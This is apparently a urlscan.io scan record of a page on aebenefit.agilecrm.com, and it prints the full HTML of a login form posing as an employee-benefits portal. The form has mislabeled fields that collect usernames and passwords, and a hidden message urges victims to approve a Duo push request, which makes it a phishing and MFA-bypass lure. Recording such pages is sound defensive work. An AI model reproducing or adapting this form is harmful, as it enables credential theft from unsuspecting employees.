aebenefit.agilecrm.com Open in urlscan Pro
2a00:1450:4001:827::2013  Public Scan

Form analysis
1 forms found in the DOM

POST https://aebenefit.agilecrm.com/formsubmit

<form class="form-view theme3" id="agile-form" action="https://aebenefit.agilecrm.com/formsubmit" style="max-width:450px;" method="POST">
  <fieldset>
    <!-- Form Name -->
    <legend>Assistance Employees Benefit </legend>
    <p class="agile-form-description">Login In To Continue</p>
    <div style="display: none; height: 0px; width: 0px;">
      <input type="hidden" id="_agile_form_name" name="_agile_form_name" value="Assistance Employees Benefit ">
      <input type="hidden" id="_agile_domain" name="_agile_domain" value="aebenefit">
      <input type="hidden" id="_agile_api" name="_agile_api" value="kmv62ecpsu7ragk35ssq1qn19v">
      <input type="hidden" id="_agile_redirect_url" name="_agile_redirect_url" value="#">
      <input type="hidden" id="_agile_document_url" name="_agile_document_url" value="">
      <input type="hidden" id="_agile_confirmation_msg" name="_agile_confirmation_msg" value="Please Wait For A Call Or Open Duo Mobile And Check For Duo Push Request Manually To Continue">
      <input type="hidden" id="_agile_form_id_tags" name="tags" value="">
      <input type="hidden" id="_agile_form_id" name="_agile_form_id" value="4509565954883584">
    </div>
    <!-- Text input-->
    <div class="agile-group">
      <label class="agile-label" for="agilefield-1">Name</label>
      <div class="agile-field-xlarge agile-field">
        <input maxlength="250" id="agilefield-1" name="first_name" type="text" placeholder="Username" class="agile-height-default">
      </div>
      <div class="agile-custom-clear"></div>
    </div>
    <!-- Text input-->
    <div class="agile-group">
      <label class="agile-label" for="agilefield-5">Title</label>
      <div class="agile-field-xlarge agile-field">
        <input maxlength="250" id="agilefield-5" name="title" type="text" placeholder="Email" class="agile-height-default">
      </div>
      <div class="agile-custom-clear"></div>
    </div>
    <!-- Text input-->
    <div class="agile-group">
      <label class="agile-label" for="agilefield-3">Email</label>
      <div class="agile-field-xlarge agile-field">
        <input maxlength="250" id="agilefield-3" name="email" type="email" placeholder="Password" class="agile-height-default">
      </div>
      <div class="agile-custom-clear"></div>
    </div>
    <!-- Text input-->
    <div class="agile-group">
      <label class="agile-label" for="agilefield-4">Company Name</label>
      <div class="agile-field-xlarge agile-field">
        <input maxlength="250" id="agilefield-4" name="company" type="text" placeholder="Password" class="agile-height-default">
      </div>
      <div class="agile-custom-clear"></div>
    </div>
    <!--recaptcha aglignment-->
    <!-- Button -->
    <div class="agile-group">
      <label class="agile-label">&nbsp;</label>
      <div class="agile-field agile-button-field">
        <button type="submit" class="agile-button">SIGN IN</button>
        <br><span id="agile-error-msg"></span>
      </div>
    </div>
  </fieldset>
</form>

Text Content

Assistance Employees Benefit

Login In To Continue


Name


Title


Email


Company Name


 
SIGN IN